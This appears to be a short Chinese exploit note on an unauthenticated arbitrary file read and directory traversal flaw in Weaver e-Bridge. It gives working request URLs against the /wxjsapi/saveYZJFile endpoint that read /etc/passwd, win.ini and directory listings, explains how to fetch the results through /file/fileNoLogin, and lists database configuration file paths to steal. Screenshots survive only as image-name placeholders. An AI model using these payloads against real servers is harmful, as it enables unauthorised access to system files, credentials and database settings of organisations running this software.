Toggle source

泛微云桥任意文件读取

1.未授权读取。直接调用exp就OK

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt 

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt

2.任意读取linux的passwd值

可在响应包中JSON中包含ID的32位值

再次请求可获得/etc/passwd值

 http://www.xxx.com/FileNoLogin/32位MD5值 

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

image-20201020131557916

image-20201020131608856

image-20201020131618615

3.任意读取winodws下的win.ini值 未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路

径从而下载数据库配置文件危害可见。 1.downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。

http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt

image-20201020131651995

2.通过查看文件接口访问 /file/fileNoLogin/id

image-20201020131709565

3.其他利用技巧(读取任意目录文件) 简单说说昨天泛微云桥的报告,输入文件路径->读取文件内容,我们读了一下代码后发现这还能读取文件目录。 参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt

image-20201020131743737

目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志、D盘 迅雷下载:

d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties d:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties 泛微OA数据库

image-20201020131806330